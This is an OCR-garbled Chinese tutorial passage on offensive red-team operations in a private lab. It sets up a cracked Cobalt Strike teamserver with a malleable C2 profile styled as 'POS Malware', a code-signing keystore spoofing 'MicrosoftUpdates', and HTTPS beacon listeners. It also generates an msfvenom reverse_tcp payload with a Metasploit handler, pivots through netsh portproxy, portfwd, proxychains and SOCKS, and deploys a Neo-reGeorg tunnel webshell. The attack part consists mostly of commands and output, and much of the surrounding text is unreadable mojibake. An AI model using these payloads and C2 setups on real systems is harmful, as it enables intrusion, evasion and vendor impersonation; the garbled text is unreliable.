keytool -genkey -alias moonsec -keyalg RSA -validity 36500 -keystore moonsec.store
moonsec moonsec.store iX F AN F & B ZEILE H 4B K profile E F ]
EEMANHBEEL XEEFELHEE E#E profile LAXEFA H7EHE, EEFT
ERF

TR LERR A FERTNEERANGED!

W moonl23 ERTHIKXEE HBET—F—FHT,

US MicrosoftUpdates

# keytool -genkey -alias moonsec -keyalg RSA -validi

ty 36500 -keystore moonsec.store
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Enter keystore password:
Re-enter new password:
What is your first and last name?
[Unknown]: US
What is the name of your organizational unit?
[Unknown]: MicrosoftUpdates
What is the name of your organization?
[Unknown]: MicrosoftUpdates
What is the name of your City or Locality?
[Unknown]: US
What is the name of your State or Province?
[Unknown]: US
What is the two-letter country code for this unit?
[Unknown]: en
Is CN=US, OU=MicrosoftUpdates, O=MicrosoftUpdates, L=US, ST=US, C=en correct?
[no]l: vy

w Ay BRI SR



root@kali: ~/...ke4.0_cracked =

root root 4096 22:17

root root 4096 07:13

root root 126 2019 agscript

root root 144 2019 c2lint

root root 256 2020 cobaltstrike.auth
root root 132 2020 cobaltstrike.bat
root root 1446 19:23 .cobaltstrike.beacon_keys
root root 27487427 10:12 cobaltstrike.jar
root root 25158495 10:10 cobaltstrike.jar.cpgz
root root 2675 19:22 cobaltstrike.store
root root 280 10:24 crackInfo.txt

root root 4096 04:57

root root 96104 2019 icon.jpg

root root 32155 2015 libicmp64.so

root root 29251 2015 libicmp.so

root root 31223 2016 libtapmanageré64.so
root root 28139 2015 libtap

root root 10317 2004 LICENSE.txt

root root 4096 04:59

root_root 1720 22:16 moon.nrofile

root root 2585 22:14 moonsec.store

root root 622 2004 NOTICE.TXT

root root 141 2019 peclone

root root 27638 2019 readme.txt

root root 108 10:22 start.bat

root root 108 10:23 start.sh

root root 1865 10:21 teamserver

root root 4096 04:57

#1

drwxr-xr-x
drwxr-xr-x
- TWXTIW-TwW-
~TWXI'W-Iw-
~TWXI'W-TW-
~TWXI'W-TW-
~TWXIW-TW-
~TWXI'W-TW-
~TWXI'W-TW-
~TWXI'W-TW-
~TWXTW-TW-
drwxr-xr-x
~TWXTW-TW-
~TWXI'W-TW-
~TWXTIW-TW-
~TWXTI'W-TW-
~TWXTIW-TW-
~TWXTW-TW-
drwxr-xr-x
-TW=1r—T71—
-rw-r—1r-—
~TWXI'W-TW-
~TWXI'W-T'W-
~TWXI'W-TW-
~TWXI'W-TW-
~TIWXI'W-TW-
~TWXTWXTWX
drwxr-xr-x

N = e b b e U S e b e e e N R e e e e e e e T O

IEH B E RS
2.4.2. BIEHE2k Cc2-profile 324

set sample name "moonsec POS Malware";

set sleeptime "5000"; # use a ~30s delay between callbacks

set jitter "10"; # throw in a 10% jitter

set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101
Firefox/24.0";

HR B F

https-certificate {
set CN "us";
set O "MicrosoftUpdates";
set C "en";
set L "us";
set OU "MicrosoftUpdates";
set ST "US";

set validity "365";



}

#HIXE

code-signer{
set keystore "moonsec.store";
set password "moon123";

set alias "moonsec";

#45 £ DNS beacon 1 #Y Bt & 45 < £ IP 13k
set dns_idle "8.8.4.4";

#8- # DNS 3% 5K AU 52 i B R A 9]

set dns_sleep "0";

#38 3T DNS _E # 2% 98 i £ HL 4 B 5 A K Z[0-255]

set maxdns "235";

http-post {
set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php
/windowsxp/updcheck.php /hello/flash.php";

client {
header "Accept" "text/plain";

nn

header "Accept-Language" "en-us";

header "Accept-Encoding" "text/plain";

nmn

header "Content-Type" "application/x-www-form-urlencoded";

id {
netbios;

parameter "id";

output {
base64;



prepend "&op=1&id=vxeykS&ui=Josh @
PC&wv=11&gr=backoff&bv=1.55&data=";

print;
b
j
server {
output {
print;
b
j
j
http-get {

set uri "/updates";

client {
metadata {
netbiosu;
prepend "user=";

header "Cookie";

}
}
server {
header "Content-Type" "text/plain";
output {
base64;
print;
}
}



ERREXAFA M
HX B F
https-certificate {
set CN "Us";
set O "MicrosoftUpdates";

set C "en";
set L "Us";

set OU "MicrosoftUpdates";
set ST "US";

set validity "365";

}

#HXE

code-signer{
set keystore "moon.store";
set password "moon123";

set alias "moon";

¥
2.4.3. &3 c2 profile XH-REATH

./c2lint moonsec.profile

B emD 121PM O 4 A O | @ G
oot @i~ [Deskiopcabatsriked 0 _cracked

e Actions

root@kali: ~/..ke4.0_cracked

http-post

1 POST 3x check passed
-http-get.server.output size is good

1 .http-get.client size is good

1 -http-post.client size is good
“http-get.client.metadata transformmanglesrecover passed (1 byte[s])

1 .http-get.client.metadata transformsmanglesrecover passed (100 byte[s])
“http-get.client.metadata transformmanglesrecover passed (128 byte[s])

] .http-get.client.metadata transformsmanglesrecover passed (256 byte[s])

1 -http-get.server.out, (0 byte[s])

1 .http-get.server.output transformmanglesrecover passed (48248 byte[s])
_http-get.server.output transformmanglesrecover passed (1048576 byte[s])

] -http-post.client.id transformsmanglesrecover passed (4 byte[s])

1 -http-post.client.output transformmanglesrecover passed (0 byte[s])
“http-post.client.output transformmanglesrecover passed (1 byte[s])

1 -http-post.client.output POSTs results
“http-post.client.output transformmanglesrecover passed (48248 byte[s])

1 .http-post.client.output transformmanglesrecover passed (1048576 byte[s])

1 Beacon profile specifies an HTTP Cookie header. Will tell WinINet to allow this.
OPSEC] .host_stage is true. Yo n payload is available to anyone that connects to yo

i
.post-ex.spawnto_x64 is 'Swindirf\sysnative\rundll32.exe'. This is a sreallyx bad 0

[+] Found code-signing configuration. Will sign executables and DLLs

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatextstrue

[+] SSL certificate generation OK

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
: M




2.4.4. Bt B teamserver X HE{T HZ

teamserver Bk A 3 0 & 50050 15 2w O #4000 ok,

ava -XX:ParallelGCThreads=" -Dcobaltstrike.server = -Djavax.n -

Y I =./cobalt
trike.store -Djavax.n ! = -server -XX:+AggressiveHeap -XX:+UseParall

LGC -classpath ./cobaltstrike.jar server.TeamServer $*

57,61 Bot
iZ{T teamserver
nohup ./teamserver 192.168.0.135 123456 moonsec.profile &
WA JE & IE4T # % shell X [ teamserver 1, % /]

2.4.5. &£ BB MNEEEMR

o 28 ¥4 payload https % & 3% 0 443

1016 x 532,
Cobalt Strike View Attacks Reporting Help B oo
=‘ n | ! E $ -] t‘ ’ E | @ "' E E | 0 - Strike payload. The provided one-liner will allow you to =
" " quickly get a session on a target host. -
external internal ~ listener process
| URIPath:  [1a [

Local Host: {192.168.0.135

\
\
\
Listener: {Beacon - htpps 1 ﬁ
=

Local Port: [80
Type: [powersne
x64: [7] Use x64 payload

EventLog X | Listeners X | Listeners X Launch Help

name - payload host port bindto beacons

Beacon - hipps windows/beacon_https/reverse_https 192.168.0.135 192.168.0.135
smb windows/beacon_bind_pipe msagent_698¢c

V77 https BYRHEIE R EL £ MAREFT2HER.



» Atips://192.168.0.135

kg 03602 @iiso [@=2-A 5 8 X

=8 FEEE B

ER0): <FiE= v
& I
US, MicrosoftUpdates, Mi...
2020598528 15:32:29
202159828 15:32:29
US, MicrosoftUpdates, Mi...
RSA (2048 Bits)
05 00
G EREEERRE d615d6ce6f048d29e6e77...
Elmz 335ba530d1b946d0175b...
v
CN = US A
OU = MicrosoftUpdates
O = MicrosoftUpdates
L=US
S=US
C=en
v
s M= o= opl
EHREALER
1177 x 495
Cobalt Strike View Attacks Reporting Help
DR N H=Ee BIPU SwBHD Pa B G
external internal ~ listener user computer note process pid :

2~ 192.168.0.130 192.168.0.130 Beacon - htpps Administrator WIN-3H3HFDBJLOU

EventLog X | Listeners X | Listeners X | Beacon 192.168.0.130@3768 X Ii

Domain : WORKGROUP

Logon Server : (null)
Logon T 1 2020/9/2 15:36:55
SID : §-1-5-20

. N E
wireshark B & 247
£ aKibER 2
XFE) fEE) MEW MEG BEC SR Hie) BEC FEw) TR
4 ceLDRBRc==T o= =|aaan

(1] tep. stream eq 34|

Yo |Time |source | Destination |rotocol [Length [Info
r 11 0.087642 192.168.0.130 192.168.0.135 TLSv1 443 Application Data
12 0.087940 192.168.0.130 192.168.0.135 TCP 1514 49216 + 443 [ACK] Seq=390 Ack=1 Win=16161 Len=1460 [TCP segme
13 0.088017 192.168.0.130 192.168.0.135 TCP 1514 49216 » 443 [ACK] Seq=1850 Ack=1 Win=16161 Len=1460 [TCP segn
14 0.091791 192.168.0.135 192.168.0.130 TCP 60 443 » 49216 [ACK] Seg=1 Ack=390 Win=501 Len=0
15 0.091863 192.168.0.130 192.168.0.135 TLSv1 691 Application Data
16 0.094886 192.168.0.135 192.168.0.130 TCP 60 443 » 49216 [ACK] Seq=1 Ack=3310 Win=496 Len=0
17 0.096946 192.168.0.135 192.168.0.130 TCP 60 443 » 49216 [ACK] Seg=1 Ack=3947 Win=501 Len=0
18 ©.122255 192.168.0.135 192.168.0.130 TLSvl 155 Application Data
19 0.122465 192.168.0.135 192.168.0.130 TLSv1 91 Encrypted Alert
20 0.122510 192.168.0.130 192.168.0.135 TCP 54 49216 > 443 [ACK] Seq=3947 Ack=140 Win=16126 Len=0

21 0.122834 192.168.0.130 192.168.0.135 54 49216 > 443 [RST, ACK] Seq=3947 Ack=140 Win=0 Len=0




T LLE B E B4 £ hitps L E EE .

3. fxiE M B

3.1. UmCIRRET

RIE— 6 EHNMAF (LAN) IP A BE AT B — /A B (WAN) IP sk, %
F [ R BB AT 3 0 EALEY E AN OB, AR A EORE SRS B A B B A 4R
Hx A E RSB EAL; AR o 0 Bty B0 HT LUK — G40 IP ML £
A3 O BR AR N R EI AL RT3 E .

3.2 ImOMRESKROFEL

Sig 1 BR &T 5 3w 0 #2 R, LT A AR B K 3 0 BB AR 45 25 B T K AR EY B P S it
FAL, A H i AR i D BRA B D H R TRk o D BRAT B 0 A R SR e o
RERL, EXTE e —H#, im0 B WA B — Ao 0 8 2B A % A N — -4t
HEE R RO ﬁ%ﬁ%izﬁiﬁﬂ By — A 0B R R K e R — A
HUAE B A4S R S T o i 1 Bk A R DASE IS P B A R AR P BB A RO e g LS, T R
At & R EESE IS W B A W B B e

3.2.1. netsh i ] BRET

netsh & windows 2% g # W — AT T A, XA
T AT LA E F 35 04 % T8
UTE—NENLHT=

windows SR Znetsh
interface portproxy

kalii513192.168.0.142 7777iw ST ARSFEELIE RN =588
BRS3ER9777 730

WEL
192.168.0.142

ci 10.10.10.153 10.10.10.153

192.168.0.135

N B



b WS & EFAE 7777 5% 0 & WEB %, AR E kali #1717 b R5 H19
7777 3w 2 LI EASER —AWE kali TREE#7A B T H B RH& 71
§E B % 1 W . windows H # HY 3% O % & netsh interface portproxy ¥ DL 3T 3¢ />N
TAEAEARFBREROER.
1 RE# K
netsh interface portproxy add v4tov4 listenport=7% & B 3% I connectaddress=B AR %-
#(ip) connectport=3 I
netsh interface portproxy add v4tov4 listenport=7777 connectaddress=10.10.10.155
connectport=7777
2.77 7] 192.168.0.142:7777 BI #] 3k B B AR % &5 L 893 0 9 2
lIs7 X +

& C ® ® 192.168.0.142 s & v >
Kali Linux Kali Training Kali Tools @ Kali Docs Kali Forums NetHunter

¥ " owanoona
Velkommen VELKOMEN
Benvenuto py el
Welkom i

internet information services
Vélkommen

Hos Geldiniz 32;“*1.":}

3. E A3 B

TR R AL 3 = AN

netsh interface portproxy delete v4tov4 listenport=7777
EEEZAN

netsh interface portproxy show all
s B AL

netsh interface portproxy reset

4 TREVT B P LAE A MR A8 B B K S 2 7777 3w 0 g



3.2.2. netsh im A% & 50T metperter

netshimJ¥ Zmeterpreter

I ° 3.
192.168.0.135 \ lfoz'l:l()6fboi1:32
kali v L ey 10.10.10.153
4 B

ERFEA LTTUABLTREREG A BRSGE0RLE b RFENR &
EaRAEKRIERNWET, A5 kali W msf | LLIE & B R4 5, @I7EE
metperter, T #HATHMEE, WRRF 5 B L AH KIEEA, kali B9 msf T g8
EEEE LRI, AMAxER, TUELERE—NMREEITEZZRS & A
b, ERGE A b OB AT B B K 4 kali B9 msf b

l.msf & i 5 1]
msfvenom -p windows/meterpreter/reverse tcp lhost=10.10.10.153 Iport=4455 -f

€Xxe >r.exe

2.8 A RS & L a4

¥ 3m 0 4455 %% & | kali _FHy 4455 3 0 b

netsh interface portproxy add v4tov4 listenport=4455 connectaddress=192.168.0.135
connectport=4455

3.7 kali B & Wor

use windows/multi/handler

set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.135

set Iport 4445

4 b R H & LFATEIT
B[ 5] 3% Bl metperter



msf5 exploit( ) > exploit

Started reverse TCP handler on 192.168.0.135:4455

Sending stage (180291 bytes) to 192.168.0.142

Meterpreter session 4 opened (192.168.0.135:4455 — 192.168.0.142:51776) at 2020-09-06 07:5
8:43 -0800

meterpreter > ifconfig

Interface

: Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU 1 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:fFfff:ffff:FFff:Ffff

Intertace— it

: Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:d4:a3:fe
HTU : 1500
IPv4 Address : 10.10.10.155
IPv4 Netmask : 255.255.255.0

IPVOAUUTESS T e80T Uo0TT52aZ-40ur30s60

3.3. cobalt strike ZERAM_ L%

cobalt strike ] # cs , ©IE N APT B H# 4, APT KEIE UK EALNFH A £,
FrUEREANFE. ANFEFR, o AEWMRE, ERETL HiENK
EN, RAZLEZEZFREE, FREE T UEEEHEEFFINR. TEAE
—NEmEEE., BEHANE teamserver 1~ U717 B, IEMEEE A AN
R, FTLAE Y cs WIE MEHEEHEB

3.3.1. cobalt strike 1E [6)F1E% B PIM

EmiEz

= s

192.168.0.142

teamserver 10:10:10:153 10.10.10.153

192.168.0.135

& B

BEAARELEZFT sl BT EITEERNELRELEXIHFAE 10.10.10.0/24
B A ME AZFLLFE B 8 BrLLfE teamserver 3 A 18 A 1E A BRAR 7T LA 7]
B.



1.4 & e o 2
% # beacon-tcp

B New Listener

Create a listener.

Name: [ ]
|| Payioad: [BeaconbiTTP -
=‘“ ENLELR] Beacon D :
" Beacon HTTP i
~{| HTTP Hdgeacon HTTPS
Beacon SMB
ll Beacon TCP l
Externaroa
Foreign HTTP
HTTP HaL o S9N HH'??.. s

Profile: [default v

HTTP Port (C2): (80

HTTP Port (Bind): |

HTTP Host Header: [

HTTP Proxy: [

Save | Help |

I



B New Listener

Create a listener.

Name: |bind

Payload: [Beacon TCP

Payload Options

Port (C2): [12345

[] Bind to localhost only

o

|;; Save ,| |~*_ Hﬂpr;“'

~

## windows executable(s)

-| Packages HTML Application
Web Drive-by * | Ms Office Macro
Spear Phish | payload Generator




B New Listener o= B

Create a listener.

Name: |bind ]

Payload: [Beacon TCP -

]

Payload Options

Port (C2): (12345

[ Bind to localhost only

] O

Save_J Help

.

H R JETTE B 48 E3HAT
FTHF cs T 192.168.0.142 #Y interact # A\ beacon 44 %#E F B 52
connect 10.10.10.155 12345




beacon> connect 10.10.10.155 12345

[#] Tasked to connect to 10.10.10.155:12345

[+] host called home, sent: 23 bytes

[+] established link to child beacon: 10.10.10.155

[WIN-C7A1B2TI35L] Administrator */2760

EER&E# L BRAE

DR O E=¢ 8IPURwBEED Pa B

WIN-C7A1B2TI35L
AR 192.168.0.142 10.10.10.153 Beacon - htpps Administrator * WIN-C7A1B2TI35L powershell exe 2760 x86

3.3.2. cobalt strike ;I [EEREZ ERM

TEN AR EFEEHEZLZEANW, wREBRS S LA KEHTER, 4
FrHEEERSEFZR Y. # T X —[5f " LXK A cobalt strike 7 7 18] 3% # .
R ZEFET AR KIEWER, B HENRSH NI R mEHE S,

PLT & —ANF AP K8 R H 3% # teamserver 7Y &

cobaltstrike R FHEEZ EMEE

N
N
i‘\\i
\ vl
! e
~ {J_/,/“' = '\"’\\,, X
1921680135 o _— o ~__ —
teamserver e T 10.10.10.153

A B

Teamserver ¥ A % B 2 S0 W. AN AWH KEER, FoEERK.
B fER? B LR RO R
175 & TR 4 1F % #F listerner



internal listener

Gy~ 192.168.0.142 10.10.10.153 Beacon - htpps Administrator * WIN-C7A1B4
Interact

Access »

Explore »

GRS SOCKS Server

Session * | Deploy VPN

WEH W LI &EE % F host 5 port &k 77 Bl [
( B New Listener E@u‘

A pivot listener is a way to use a compromised system
as a redirector for other Beacon sessions. ¥

Name: ’rve

Payload: Iwindows/beacon_reverse_tc p >

—_— ) )

Listen Host: [10.10.10.153

Session lministrator *via 10.10.10.153@2760] l"- ~|

EventLog X | Listeners X | stes x | Listeners X [ Beacon 10.1010.153@2760 X | Listeners X | Beacon 10.1010.155@1204 X | Listeners X | Listeners X | Listeners X
name ~ payload | nost port | bindto

IS s

beacons
192.168.0.135

At 402.468.0-136- 443

smb windows/beacon_bind_pipe msagent_698¢c

2.41# /E1]



= EEERES

HTML Application

Web Drive-by * | MS Office Macro
i Spear Phish | payload Generator

Windows Executable

WA s LT
T listener % FR| W €] Z 8 lor 2 .

Windows Executable (S)

50 X

List

m Windows Executable (Stageless)

L= ] 22

Export a stageless Beacon as a Windows =
executable. Use Cobalt Strike Arsenal scripts (Help  ~

Listener: [

[=

Output:  [Windows EXE

2

X64: ["1Use x64 payload _#isteners | Leene
! Choose a payload _ "k ‘ - @ﬂm
name } payload | host [ port
rve windows/beacon_reverse_tcp 10.10.10.153 12345
Beacon - hipps windows/beacon_https/reverse_htips 192.168.0.135 443
smb windows/beacon_bind_pipe msagent...

- Choose | ~Add || Help -

~N

3. BRFHHATET
EOREBIATE BlleEEEARSHE
BEFHEBRSEELE



Sobalt Strike View Attacks Reporting Help
a8 QO EH=E¢ B PU whED Pa B

external intenal ~ listener user computer note process

s 192.168.0.142 10.10.10.153 - 'WIN-C7A1B2TI35L
[ 10.10.10.153 ovoo 10.10.10.155 Beacon - htpps Administrator * WIN-C7A1B2TI35L beacon exe

3.3.3. ¥ C1BRET burpsuite ITAIMEIER

burpsuiteflIARIEGE=EE

I Po——

192.168.0.135

192.168.0.142
2 1010.10.153 10.10.10.153

bursputie : c

XEFERNPE AGCAatEBELE AWREEZETF CHE0mH A
burpsuite # 4T T — F W MlR, k&, web JRFENR. A EE B RS 25 24T
DA, 4 AR BHARRE, |UEB LR Ewm OB Km0 Bt 2 C 80
SirH o A4 ABLETLAE T B gETT R C

netsh & windows B # i T B 7] DL 42 5 0 1% & i 1 B 5T

netsh interface portproxy add v4tov4 listenport=1% & 83 I connectaddress=C R %-
#5(ip) connectport=3 I

£ B EHAT A4 R EHF AN
netsh interface portproxy add v4tov4 listenport=7777 connectaddress=10.10.10.155

connectport=80

FR 17 15 B AR 425 89 7777 3w DB F[ 3K B C AR 425 £ 80 s DB Y &



Mozilla Firefox

2.168.0.142:7777fipxt X+

& c @ 192.168.0.142

Kali Linux Kali Training Kali Tools @ Kali Docs Kali Forums NetHunter

10.10.10.155

J| burpsuite 31 & BJ 7]

& C © & 192.168.0.142:7777 /ip.txt

B yaests @ HF L% © Index of /devil/imag.. B SEME

10.10.10.155

W Burp Suite Professional v2020.1 - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help

[ Dashboard I Target I Proxy I Intruder I Repeater I Sequencer I Decoder I Comparer T Extender T Project options T User options I Passive Scan Cli

1 D

Send Cancel ‘7< v > |y

Request Response

Raw | Headers | Hex Raw | Headers | Hex

GET /ip.txt HTTP/Ll.lHTTP/l.l 304 Not Modified 1 HTTP/1l.l 304 Not Modified
Last-Modified: Mon, 07 Sep 2020 08:30:18 GMT 2 Last-Modified: Mon, 07 Sep 202
Accept-Ranges: bytes 3 Accept-Ranges: bytes

ETag: "a3%9e7eleflB4déel:0" ETag: "a3%e7eleflB84déel:0"
Server: Microsoft-I115/7.5 Server: Microsoft-I115/7.5
X-Powered-By: ASP.NET X-Powered-By: ASP.NET

Date: Mon, 07 Sep 2020 08:40:03 GMT 7 Date: Mon, 07 Sep 2020 08:40:0
Connection: close Connection: close

T

AL bWwN

© 0w

Host: 192.1€8.0.142:7777

12 User-Agent: Mozilla/5.0 (Windows NT &.1; Win€4; x64; rv:80.0)
Gecko/20100101 Firefox/80.0

3 Accept:
text/html, application/xhtml+xml, application/xml;¢=0.9, image/webp, */*;q
=0.8

14 Accept-Language:

zh-CN, zh; ¢q=0.8, zh-TW; ¢q=0.7, zh-HK; q=0.5,en-US; ¢=0.3,en; gq=0.2

Accept-Encoding: gzip, deflate

Connection: close

17 Upgrade-Insecure-Requests: 1

If-Modified-Since: Mon, 07 Sep 2020 08:30:18 GMT

If-None-Match: "a39e7eleflB84del:0"

I
-

o

)

o W o

¥R



3.3.4. burpsuite & & IR 18] IR

EBE PR L EHEREF msf #HATHENR, Z2IRSFERRG, FAREH
NE| NP MR 5 E R R AR

msf SburpsuitefMAMEIRE

192.168.0.135
A

192.168.0.142

kali B 10.10.10.153
B
C
burpsuitel5EAIRSS 82R%m AT LATR]
B ChR&Z85A980IR O

192.168.0.106
D
burpsuite

Y kali 3 15 iR 52 B % meterperter /7, 7 LA 331X & socksd RIEHE T £ A RS
# FEe & proxychains g61F D 7 (7 C AR & &1 80 3 I,

LDREMNTERE, E Cavitfr £k EE DEILNETA A B 1080 3 0
#BEFCHOMOI ., HANKECARERET, burpsuite & F 4 %
HZNRE, EXMFIT, bursuite 2 8 F w5 & REH A, 7 LLE burpsuite X
e F R AR IEREE, 1B burpsuite 1~ X FF socksd RE, ¥ LU K
il burpsuite By EiFRERE N A ANRE, HFRELREGF kali FZEL B RE5 &
B R] 377 & C ¥ 80 35 1 A2 4n A



localhost:8080

AR 25378

kalifSsatiE

BT BiAIEIC

Eiﬁ% kali i msf % B sockda X H proxychains 1% & i /& 1080 FRHt AT
LB proxychains Y nmap 719 ¢ B 80 ¥ [

3 # proxychains nmap -sT -Pn 10.10.10.155 -p 80
ProxyChalns -3.1 (http://proxychains.sf.net)

Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-07 07:50 AKDT
|S-chain|-<>-192.168.0.135:1080—<><>-10.10.10.155:80—<><>-0K
Nmap scan report for 10.10.10.155

Host is up (0.056s latency).

PORT STATE SERVICE
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 0.16 seconds

# 1

SocksCap 1% & socksda KF A 45t LA sockscap RE 17 7] C B 80 3 0



listiE oy - HEIE [z:iﬂ-socm 4/4a - [192.168.0. 135: 108( v\ (4] @

B KEsES

FHBHE
§ 192.168.0.135 1080 | SOCKS 4/4a

SocksCap /5 il % 90 R E BR A B3 1 & 25378

7 burpsuite X & F i K & T F user options

| Bt #wO i) Es) fEzes  pEns

Edit upstream proxy rule X

@ Enter the details of the upstream proxy rule. You can use wildcards to
specify destination hosts (* matches zero or more characters, ? matches
any character except a dot). Leave the proxy host blank to connect
directly for the specified destination host.

Destination host: ®

Proxy host: 127.0.0.1

Proxy port: 25378

Authentication type: [None B

Username:

Password:

Domain:

Domain hostname:

| oK || cancel |

i ks

a single p

then regtL



W DU OMISL UL SSITIIGE VeV RIS Gy I Juet RSN S W) SuS et

Burp Project Intruder Repeater Window Help
[ Dashboard TTarget T Proxy T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Prpject options TUseropﬁons ]
JConneeﬁons TLS | Display Tm

Remove >

() Prompt for credentials on platform authentication failure

@ Upstream Proxy Servers

{é’:} The following rules determine whether Burp sends each outgoing request to a proxy server, or directly to the destination web server. The first rule that matches each dest
a rule with * as the destination host.

[ Add J Enabled | Destination host | Proxy host | Proxy port | Authtype | Username
R [127.001 | 25378
Edit
l Remove | L
Up »
[ Down J

@ SOCKS Proxy

FTFF X S 2177 17 ¢ #9 80 3 0 JF )5 burpsuite 174, BEIF A E

Burp Project Intruder Repeater Window Help

Dashboard | Target | Proxy | Intruder TRepeam( T Sequencer T Decoder I Comparer T Extender T Project options T User options ]

1 x |Eaa

Send Cancel L|w > |

Request Response

Raw | Params | Headers | Hex Ra Heade! H Rend

= L I | |
1 BET http://10.10.10.155/ip.txt HTTP/L.1 1 HTTP/1.1 200 OK
2 Host: 10.10.10.155 2 Content-Type: text/plain
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; xE4; rv:8p.0) Gecko/20100101 3 Last-Modified: Mon, 07 Sep 2020 08:30:18 GMT
Firefox/80.0 4 Accept-Ranges: bytes
5 ETag: "a39e7elefl84dEl:0"
€ Server: Microsoft-II1S/7.5
7 X-Powered-By: ASP.NET
© Date: Mon, 07 Sep 2020 16:20:46 GMT

T

4 hccept: text/html,application/xhtml+xml,application/xnl;q=0.9,inage/webp,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en{US;q=0.3,en;q=0.2

¢ Accept-Encoding: gzip, deflate
7 fonnection: close

8 Upgrade=I:

% Connection: close

¢ Content-Length: 28| 10 Content-Length: 12

11 Cache-Control: max-age=0 12 10.10.10.155

3.3.5. Metasploit Portfwd (¥ [O%5 % /EE[5])

Meterpreter shell # &Y portfwd &4 & & F {Fim D # &, DFEEHERERAL
EVEIALE . R L AR EE M ERMNE (KRG WX EN LIZBAT IS
A, BRATAT A L@ S ANE L TCP H8, NMEHEEN— ML A, BEE
Fil ssh ¥ B W3 0 # & A — 7, portfwd 4 9 4 5 3% B AL 25 2 [8] 89 TCP # .

meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:

-L>opt> ERIEyARMEMN (T .



-h B AR
-1>opt>  E Mg T HY A M D
-p>opt> FEHEFWITAENR D

N—

r>opt> EHEFHTAE A

192.168.0.135 192.168.0.142

9 4 ]l

= 2

kali

portfwd add -13389 -p 3389 -r192.168.0.142

¥z EZE B 3380 4 E A iy 3389

kailA 7 5] A& 3, 3389 B[ [ &8 77 [5] % & # B £y 3389 3 I
rdesktop7.0.0.1:3389

0647PM D0 4 A O | @ &

root@kali: ~/Desktop ] root@kali: ~/Desktop rdesktop-127.0.01

CN=WIN-C7A182TI35L

Certificate fingerprin

shal: 2feaSeaed5ufece484118303F159d8FFc3at8dce
sha2s6: be724ckk2efSeckf34549783F4codd23d7a39b99e4

A% Windows Server2008

Standard

3.4, NMZRIE Neo-reGeorg BI{EF



Neo-reGeorg AMIEE

192.168.0.142
10.10.10.153

192.168.0.135

YT

kali

HAE AZKEHE BT F B0 ImHHFBM —MNRANKIKR, CHIEERS %
Tee M, EZBaEFE. JULEBXRERE A2 ARGEELRERFE CH
REHBUULKECHENAMKE., reGeorg £ — MEFENWE T E, #TF sockss
MHEXFWNHANLZ., TURENWNFEMNE, EEFENEAERS WL, &
s, FRALEHRERLE, HAF 1T HEE reGeorg 5% &, H
BT B AE, WAYER TUHE M https:/github.com/L-codes/Neo-reGeorg

R 7 %
Sy N\ R A R i AR

python3 neoreg.py generate -k moonsec

# python3 neoreg.py generate -k moonsec

"$$$$$$'"  'M$  '$$$am

:$$$55$$$$$558%" ' $94¢"
'$ '1Z1'$%6  $$%%'
'$$% 4349
$$$% J$3%$"
m$$$s $$49¢,
$$$%0 '$$%$_ Neo-reGeorg
'1t$$$$" ' $$88<

moonsec & 4 ik YA A AR B B AR SR B


https://github.com/L-codes/Neo-reGeorg

tunnel.aspx

£ Windows Defender

iR

Bk 1 ARBrEE, BT
FRITEATRT | TERAEE R NEHEERED.
(R EERRTER T S IR, @®EQ
Ox20
[@)=3V(¢)
@ SCEHES: #
@ SSTEREEY: BH STEHIEES)

£ R A EFE b A& L, b RF & H aspx
A PATH 2
python3 neoreg.py -k moonsec -u http://192.168.0.142/tunnel.aspx

# python3 neoreg.py -k moonsec -u http://192.168.0.142/tunnel.aspx

"$$$$$$'"  'M$  '$$$am
:$5599553559998" ' $98°
: 'JZ1'$$8 $$$$
'$$$  '$34$
$$$$ J$$$$
m$$$$
$$¢%a ' Neo-reGeorg
'1t$$8$"
'$$$$$$$9$3" version 1.5.0
'a$$ss’ !

'$$$3
'2$$$$$$
r$s$$
‘$$v c$$
"$$v $SvEsSsSSesH
$$x$$$$$$$$$twelvesssas’
assaL ‘<a$$$§§:$$‘

$$
Github ] https://github.com/L-codes/neoreg

Level set to [ERROR]
'ting socks server [127.0.0.1:1080], tunnel at [http://192.168.0.142/tunnel.aspx]

W ERBOKIMAE 127.0.0.1 1080



http://192.168.0.142/tunnel.aspx

C ( 2 Extension (FoxyProxy Standard) moz-extensi e U 1y - >»

Kali Linux Kali Training Kali Tools @ Kali Docs Kali Forums NetHunter

Color Proxy IP address or DNS name #

Send DNS through SOCKS5 proxy .?"‘"’“ij Port %

On |
s

Username (optional)

77 4 http://10.10.10.155

[1S7 X FoxyProxy Standard — X | @ FoxyProxy Options

<« C @ () 10.10.10.155 v e @

Kali Linux Kali Training Kali Tools @ Kali Docs Kali Forums NetHunter

Velkommen
Benvenuto
Welkom

0'X2N 09

VELKO

Wil

Vilkommen internet information services L\:Vj:ﬂ
Hos Geldiniz .

Udvozoljuk

40 A nmap 1% C 83 0 24 7] LL% B proxychains
14-B% /etc/proxychains.conf

# i socks5 127.0.0.1 1080

Proxychains nmap -sT -Pn10.10.10.155 -p 80



#| proxychains nmap -sT -Pn 10.10.10.155 -p 80
ProxyChalns 3.1 (htth: //proxychalns sf.net)
Starting Nmap 7.80 (“irCCpST//Tiidp-0Trg ) dl 2026-09-68 Ui-i7 AKDT
IS chain}-<>-127.0.0.1:1080—<><>-10.10.10.155:80—<><>-0K
Nmap scan report for 10.10.10.155
Host is up (0.0048s latency).

PORT STATE SERVICE
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds

3.5. SSHEREHAZHERAR

